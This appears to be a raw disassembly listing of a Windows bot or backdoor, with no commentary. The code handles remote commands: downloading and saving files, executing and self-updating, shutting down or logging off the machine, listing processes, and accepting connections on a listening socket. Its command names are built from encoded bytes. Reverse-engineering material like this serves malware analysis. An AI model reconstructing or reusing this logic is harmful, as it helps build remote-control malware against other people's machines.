push offset aWb ; "wb"
lea ecx, [esi+65h]
call sub_4017E4
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41DC80
mov ecx, edi
call sub_401681
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadopen ; "http(badopen)"
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+38h+var_28]
mov [esp+38h+var_28], esi
push ecx
mov ecx, offset byte_4E6ECB
call sub_40120D
loc_41DC45: ; CODE XREF: sub_41D830+352j
lea ecx, [esp+38h+var_1C]
mov byte ptr [esp+38h+arg_1134], 3
call sub_401226
lea ecx, [esp+38h+arg_10]
mov byte ptr [esp+38h+arg_1134], 2
call sub_401226
lea ecx, [esp+38h+var_4]
mov [esp+38h+arg_1134], 0FFFFFFFFh
call sub_401226
jmp loc_41DF4B
; ---------------------------------------------------------------------------
loc_41DC80: ; CODE XREF: sub_41D830+3DBj
; sub_41D830+484j ...
mov eax, [esp+38h+var_24]
push 0
lea edx, [esp+3Ch+arg_12C]
push 1000h
push edx
push eax
nop
call near ptr 71AB615Ah
mov ebp, eax
test ebp, ebp
jle short loc_41DCF8
cmp ebp, 1000h
jge short loc_41DCB0
mov [esp+ebp+48h+arg_11C], 0
loc_41DCB0: ; CODE XREF: sub_41D830+476j
xor edi, edi
test ebp, ebp
jle short loc_41DC80
loc_41DCB6: ; CODE XREF: sub_41D830+4A5j
push 4
lea ecx, [esp+edi+4Ch+arg_11C]
push offset asc_443EE8 ; "\r\n\r\n"
push ecx
call near ptr 77C47A50h
nop
add esp, 0Ch
test eax, eax
jz short loc_41DCD9
inc edi
cmp edi, ebp
jl short loc_41DCB6
jmp short loc_41DC80
; ---------------------------------------------------------------------------
loc_41DCD9: ; CODE XREF: sub_41D830+4A0j
add edi, 4
cmp edi, ebp
jge short loc_41DCF8
loc_41DCE0: ; CODE XREF: sub_41D830+4C6j
movsx edx, [esp+edi+48h+arg_11C]
push ebx
push edx
nop
call near ptr 77C40E76h
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DCE0
loc_41DCF8: ; CODE XREF: sub_41D830+46Ej
; sub_41D830+4AEj ...
mov edi, [esp+48h+var_34]
push 0
lea eax, [esp+4Ch+arg_11C]
push 1000h
push eax
push edi
nop
call near ptr 71AB615Ah
mov ebp, eax
test ebp, ebp
jle short loc_41DD48
cmp ebp, 1000h
jge short loc_41DD28
mov [esp+ebp+58h+arg_10C], 0
loc_41DD28: ; CODE XREF: sub_41D830+4EEj
xor edi, edi
test ebp, ebp
jle short loc_41DCF8
loc_41DD2E: ; CODE XREF: sub_41D830+514j
movsx ecx, [esp+edi+58h+arg_10C]
push ebx
push ecx
nop
call near ptr 77C40E76h
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DD2E
jmp short loc_41DCF8
; ---------------------------------------------------------------------------
loc_41DD48: ; CODE XREF: sub_41D830+4E6j
push ebx
call near ptr 77C40AB1h
nop
add esp, 4
push edi
nop
call near ptr 71AB9639h
lea ecx, [esp+5Ch+var_40]
mov [esp+5Ch+arg_1110], 3
call sub_401226
lea ecx, [esp+5Ch+var_10]
mov [esp+5Ch+arg_1110], 2
call sub_401226
loc_41DD7B: ; CODE XREF: sub_41D830+2CFj
mov al, [esi+90h]
test al, al
jnz loc_41DE17
lea ebp, [esi+65h]
mov ecx, ebp
call sub_4017E4
lea edi, [esi+7Ah]
push eax
push offset aDlDone_S_ ; "dl, done. %s ."
mov ecx, edi
call sub_401681
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
mov al, [esi+8Fh]
add esp, 18h
test al, al
jz loc_41DF0F
push offset byte_446F60
mov ecx, ebp
call sub_4017E4
push eax
call sub_401299
add esp, 8
mov ecx, ebp
call sub_4017E4
push eax
push offset aOpenS_ ; "open %s."
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 18h
jmp loc_41DF0F
; ---------------------------------------------------------------------------
loc_41DE17: ; CODE XREF: sub_41D830+553j
lea ebx, [esi+65h]
mov ecx, ebx
call sub_4017E4
lea edi, [esi+7Ah]
push eax
push offset aDlEdUpdateS ; "dl'ed-update: %s"
mov ecx, edi
call sub_401681
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 18h
lea edx, [esp+5Ch+var_40]
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 51h
push edx
call sub_4019B5
add esp, 24h
mov ecx, eax
mov [esp+5Ch+arg_1110], 5
call sub_4014D3
push eax
mov ecx, ebx
call sub_4014D3
push eax
call sub_402149
add esp, 8
lea ecx, [esp+5Ch+var_40]
mov bl, al
mov [esp+5Ch+arg_1110], 2
call sub_401226
test bl, bl
jz short loc_41DEEA
mov al, byte_4478C6
test al, al
jz short loc_41DEB9
push offset dword_447864
mov ecx, offset dword_448DA0
call sub_401447
loc_41DEB9: ; CODE XREF: sub_41D830+678j
mov al, byte_44790F
test al, al
jz short loc_41DED1
push offset byte_44793F
mov ecx, offset dword_448DA0
call sub_401942
loc_41DED1: ; CODE XREF: sub_41D830+690j
mov ecx, offset dword_448DA0
call sub_401E5B
push 1
mov byte_4E6E74, 0
nop
call near ptr 77C39E7Eh
loc_41DEEA: ; CODE XREF: sub_41D830+66Fj
mov ecx, edi
call sub_4014D3
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aExec_error ; "exec.error"
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
loc_41DF0F: ; CODE XREF: sub_41D830+597j
; sub_41D830+5E2j
mov [esp+60h+var_48], esi
lea edx, [esp+60h+var_48]
loc_41DF17: ; CODE XREF: sub_41D830+1E7j
push edx
loc_41DF18: ; CODE XREF: sub_41D830+23Ej
; sub_41D830+2BDj
mov ecx, offset byte_4E6ECB
call sub_40120D
lea ecx, [esp+60h+var_2C]
mov [esp+60h+arg_110C], 0FFFFFFFFh
call sub_401226
jmp short loc_41DF4B
; ---------------------------------------------------------------------------
loc_41DF38: ; CODE XREF: sub_41D830+36j
; sub_41D830+4Dj ...
mov [esp+1Ch+var_C], esi
lea eax, [esp+1Ch+var_C]
loc_41DF40: ; CODE XREF: sub_41D830+9Cj
push eax
mov ecx, offset byte_4E6ECB
call sub_40120D
loc_41DF4B: ; CODE XREF: sub_41D830+44Bj
; sub_41D830+706j
mov ecx, [esp+1Ch+arg_1148]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 1164h
retn
sub_41D830 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 1D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E140 proc near ; CODE XREF: sub_401B90j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E140
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 0Fh
push 0Fh
push 2
push 5
push 12h
push 4Fh
push 3
lea eax, [esp+64h+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+40h+var_3C]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 0Eh
push 17h
push 0Fh
push 4
push 14h
push 15h
push 8
push 13h
push 4Fh
push 3
lea edx, [esp+6Ch+var_3C]
push 10h
push edx
call sub_4019B5
add esp, 34h
push esi
mov ecx, eax
mov [esp+44h+var_4], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+40h+var_3C]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 6
push 6
push 0Fh
push 7
push 0Fh
push 0Ch
push 4Fh
push 3
lea ecx, [esp+64h+var_24]
push 10h
push ecx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 2
call sub_4017E4
add esi, 60h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+40h+var_24]
mov [esp+40h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+40h+var_C]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_41E140 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41E2C0: ; CODE XREF: ___:loc_4010B4j
push ebx
push esi
push edi
mov edi, [esp+10h]
mov esi, ecx
lea ebx, [edi+7Eh]
lea ecx, [esi+4]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E31B
push offset dword_443FEC
lea ecx, [edi+69h]
call sub_401681
mov cl, [edi+93h]
push eax
mov al, [edi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 14h
push 0
push 6
nop
call near ptr 28B0000h
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E31B: ; CODE XREF: ___:0041E2DEj
lea ecx, [esi+32h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E36A
push offset aSysSd ; "sys(sd)"
lea ecx, [edi+69h]
call sub_401681
mov dl, [edi+94h]
push eax
mov al, [edi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 14h
push 0
push 5
nop
call near ptr 28B0000h
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E36A: ; CODE XREF: ___:0041E32Dj
lea ecx, [esi+60h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E3B1
push offset aSysLogoff ; "sys(logoff)"
lea ecx, [edi+69h]
call sub_401681
mov cl, [edi+94h]
mov dl, [edi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 14h
push 0
push 4
nop
call near ptr 28B0000h
loc_41E3B1: ; CODE XREF: ___:0041E37Cj
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E400 proc near ; CODE XREF: sub_401F5Fj
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E400
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+6Ch+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
or edi, 0FFFFFFFFh
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+6Ch+var_3C]
push 10h
push edx
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea ecx, [esp+78h+var_3C]
push 10h
push ecx
call sub_4019B5
add esp, 3Ch
mov [esp+44h+var_4], 2
push esi
mov ecx, eax
call sub_4017E4
lea edx, [esi+8Eh]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+78h+var_3C]
push 10h
push eax
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 3
call sub_4017E4
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 4
push 9
push 10h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+78h+var_24]
push 10h
push edx
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 4
call sub_4017E4
add esi, 60h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_4], edi
call sub_401226
mov ecx, [esp+44h+var_C]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_41E400 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E660 proc near ; CODE XREF: sub_401613j
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41E660
push eax
mov large fs:0, esp
sub esp, 44h
push ebx
push ebp
push esi
mov esi, [esp+5Ch+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E7FA
lea eax, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push eax
call sub_4018D9
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0
push ecx
call sub_4011D6
add esp, 4
test al, al
jz loc_41E7E2
push 0
push 7Bh
push 25h
push 9
push 25h
push 25h
push 9
push 5
push 1Dh
push 23h
push 1Fh
lea edx, [esp+8Ch+var_3C]
push 79h
push edx
call sub_4019B5
add esp, 34h
mov edi, eax
lea ebx, [esi+69h]
mov byte ptr [esp+60h+var_4], 1
mov ecx, ebx
call sub_4014D3
push eax
mov ecx, edi
call sub_401681
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_401703
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
xor edi, edi
call sub_4014D8
mov eax, [eax]
lea ecx, [esp+60h+var_4C]
push ecx
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], eax
call sub_40196F
push eax
lea ecx, [esp+64h+var_50]
call sub_401802
test al, al
jz short loc_41E7E2
mov ebp, dword_50F8D0
loc_41E76E: ; CODE XREF: sub_41E660+180j
lea ecx, [esp+60h+var_50]
inc edi
call sub_40122B
mov ecx, eax
call sub_4017E4
push eax
lea ecx, [esp+64h+var_50]
call sub_40122B
mov edx, [eax+15h]
mov ecx, ebx
push edx
push edi
push offset aD_PidDS ; "%d. - Pid: %d - \"%s\""
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 20h
push 5DCh
call ebp ; dword_50F8D0
lea ecx, [esp+60h+var_50]
call sub_40107D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
call sub_40196F
push eax
lea ecx, [esp+64h+var_50]
call sub_401802
test al, al
jnz short loc_41E76E
loc_41E7E2: ; CODE XREF: sub_41E660+62j
; sub_41E660+106j
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401816
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41E7FA: ; CODE XREF: sub_41E660+37j
lea ecx, [edi+32h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E8EE
push offset asc_443600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov [esp+64h+var_4], 2
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41EC15
push offset asc_443600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 3
call sub_4017E4
push eax
call sub_4015FA
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 4
call sub_4014D3
push eax
push offset dword_44401C
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41E8EE: ; CODE XREF: sub_41E660+1ACj
lea ecx, [edi+8Eh]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EA55
lea edx, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push edx
call sub_4016E0
lea eax, [esp+60h+var_48]
mov ebx, 5
push eax
mov [esp+64h+var_4], ebx
call sub_402144
add esp, 4
test al, al
jz loc_41EA3D
push 0
push 3Eh
push 13h
push ebx
push 3
push 9
push 16h
push 12h
push ebx
push 13h
lea ecx, [esp+88h+var_3C]
push 3Dh
push ecx
call sub_4019B5
add esp, 30h
mov edi, eax
lea ebp, [esi+69h]
mov byte ptr [esp+60h+var_4], 6
mov ecx, ebp
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], bl
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_401B40
lea ecx, [esp+60h+var_4C]
xor edi, edi
push ecx
lea ecx, [esp+64h+var_48]
call sub_40145B
mov edx, [eax]
lea eax, [esp+60h+var_4C]
push eax
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], edx
call sub_4013ED
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jz short loc_41EA3D
mov ebx, dword_50F8D0
loc_41E9D6: ; CODE XREF: sub_41E660+3DBj
lea ecx, [esp+60h+var_50]
inc edi
call sub_401055
mov ecx, eax
call sub_4017E4
push eax
push edi
push offset dword_444010
mov ecx, ebp
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
push 5DCh
call ebx ; dword_50F8D0
lea ecx, [esp+60h+var_50]
call sub_40182A
lea eax, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push eax
call sub_4013ED
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jnz short loc_41E9D6
loc_41EA3D: ; CODE XREF: sub_41E660+2CFj
; sub_41E660+36Ej
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401253
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41EA55: ; CODE XREF: sub_41E660+2A3j
lea ecx, [edi+0BCh]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EB4C
push offset asc_443600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov [esp+64h+var_4], 7
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41EC15
push offset asc_443600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 8
call sub_4017E4
push eax
call sub_4019FB
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 9
call sub_4014D3
push eax
push offset dword_444008
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41EC17
; ---------------------------------------------------------------------------
loc_41EB4C: ; CODE XREF: sub_41E660+40Aj
lea ecx, [edi+60h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EC15
push offset asc_443600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov [esp+64h+var_4], 0Ah
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz short loc_41EC15
push offset asc_443600 ; " "
lea ecx, [esp+64h+var_24]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+60h+var_4], 0Bh
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+60h+var_24]
mov ebx, eax
mov [esp+60h+var_4], edi
call sub_401226
test ebx, ebx
jz short loc_41EC15
push ebx
push offset dword_443FFC
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
push ebx
call sub_4018A7
add esp, 1Ch
jmp short loc_41EC17
; ---------------------------------------------------------------------------
loc_41EC15: ; CODE XREF: sub_41E660+1F0j
; sub_41E660+44Ej ...
xor al, al
loc_41EC17: ; CODE XREF: sub_41E660+195j
; sub_41E660+289j ...
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 50h
retn 4
sub_41E660 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 180h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41EDB0: ; CODE XREF: ___:loc_401FE6j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43B210
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword_50F8D0
mov [ebp-10h], esp
mov esi, ecx
mov dword ptr [ebp-4], 0
loc_41EDE0: ; CODE XREF: ___:0041EDF1j
mov al, [esi+0ABh]
test al, al
jnz short loc_41EDF3
push 3E8h
call edi ; dword_50F8D0
jmp short loc_41EDE0
; ---------------------------------------------------------------------------
loc_41EDF3: ; CODE XREF: ___:0041EDE8j
mov al, [esi+0ACh]
lea ecx, [esi+15h]
push eax
push ecx
mov ecx, offset byte_4472A7
call sub_401A32
lea edx, [ebp-14h]
mov ecx, offset byte_4E6ECB
push edx
mov [ebp-14h], esi
call sub_40120D
loc_41EE19: ; DATA XREF: ___:loc_41EE2Co
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41EE2C: ; DATA XREF: ___:0044154Co
mov eax, offset loc_41EE19
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EE70 proc near ; CODE XREF: sub_401DE3j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, ecx
mov [esi+11h], eax
mov cl, [eax+94h]
mov [esi+0A9h], cl
mov dl, [eax+93h]
mov [esi+0A8h], dl
mov cl, [eax+95h]
add eax, 15h
mov [esi+0AAh], cl
push eax
lea ecx, [esi+2Ah]
call sub_401FBE
mov edx, [esi+11h]
lea ecx, [esi+69h]
add edx, 54h
push edx
call sub_401FBE
mov eax, [esi+11h]
lea ecx, [esi+54h]
add eax, 3Fh
push eax
call sub_401FBE
mov ecx, [esi+11h]
add ecx, 2Ah
push ecx
lea ecx, [esi+3Fh]
call sub_401FBE
mov edx, [esi+11h]
lea ecx, [esi+15h]
push edx
call sub_401FBE
mov al, [esp+4+arg_4]
mov byte ptr [esi+0ABh], 1
mov [esi+0ACh], al
pop esi
retn 8
sub_41EE70 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EF30 proc near ; CODE XREF: sub_4020A9j
var_DC = dword ptr -0DCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_94 = byte ptr -94h
var_88 = dword ptr -88h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_44 = byte ptr -44h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
arg_0 = byte ptr 4
arg_8 = byte ptr 0Ch
arg_14 = dword ptr 18h
arg_18 = byte ptr 1Ch
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_50 = byte ptr 54h
arg_68 = byte ptr 6Ch
arg_80 = byte ptr 84h
arg_88 = byte ptr 8Ch
arg_A8 = byte ptr 0ACh
arg_E4 = byte ptr 0E8h
arg_F0 = byte ptr 0F4h
arg_118 = byte ptr 11Ch
arg_128 = byte ptr 12Ch
arg_138 = byte ptr 13Ch
arg_148 = byte ptr 14Ch
arg_158 = byte ptr 15Ch
arg_908 = byte ptr 90Ch
arg_18C8 = dword ptr 18CCh
arg_18D8 = dword ptr 18DCh
arg_1930 = byte ptr 1934h
arg_1970 = dword ptr 1974h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41EF30
push eax
mov eax, 19B4h
mov large fs:0, esp
call sub_436840
push esi
push edi
mov edi, ecx
xor eax, eax
mov [esp+14h+var_8], edi
mov [esp+14h+arg_14], 10h
lea esi, [edi+19h]
mov ecx, esi
mov [ecx], eax
mov [ecx+4], eax
mov [ecx+8], eax
mov [ecx+0Ch], eax
mov word ptr [esi], 2
mov [edi+1Dh], eax
mov dx, word ptr dword_44767F
push edx
call near ptr 71AB2B66h
nop
push 6
push 1
push 2
mov [edi+1Bh], ax
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [edi+15h], eax
jnz short loc_41EFB7
lea eax, [esp+24h+var_18]
mov ecx, offset byte_4E6ECB
push eax
mov [esp+28h+var_18], edi
call sub_40120D
jmp loc_41F65A
; ---------------------------------------------------------------------------
loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj
push 10h
push esi
push eax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41EFE7
mov ecx, [edi+15h]
push ecx
call near ptr 71AB9639h
nop
lea edx, [esp+34h+var_28]
mov ecx, offset byte_4E6ECB
push edx
mov [esp+38h+var_28], edi
call sub_40120D
jmp loc_41F65A
; ---------------------------------------------------------------------------
loc_41EFE7: ; CODE XREF: sub_41EF30+93j
mov al, byte_4E6E74
test al, al
jz loc_41F650
push ebx
mov ebx, dword_50FB08
push ebp
mov ebp, dword_50FC8C
loc_41F002: ; CODE XREF: sub_41EF30+718j
mov eax, [edi+15h]
push 0Ah
push eax
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41F01D
push 0FAh
jmp loc_41F63B
; ---------------------------------------------------------------------------
loc_41F01D: ; CODE XREF: sub_41EF30+E1j
mov eax, [edi+15h]
lea ecx, [esp+40h+var_C]
lea edx, [esp+40h+arg_F0]
push ecx
push edx
push eax
nop
call near ptr 71AC1028h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_41F636
xor ecx, ecx
lea edx, [esp+4Ch+var_14]
mov [esp+4Ch+var_2C], ecx
lea eax, [esp+4Ch+var_2C]
mov [esp+4Ch+var_28], ecx
push edx
mov [esp+50h+var_24], ecx
push eax
push esi
mov [esp+58h+var_14], 10h
mov [esp+58h+var_20], ecx
call near ptr 71AC0B50h
nop
mov eax, [esp+58h+var_34]
test al, al
jz loc_41F641
mov cl, byte_447DE8
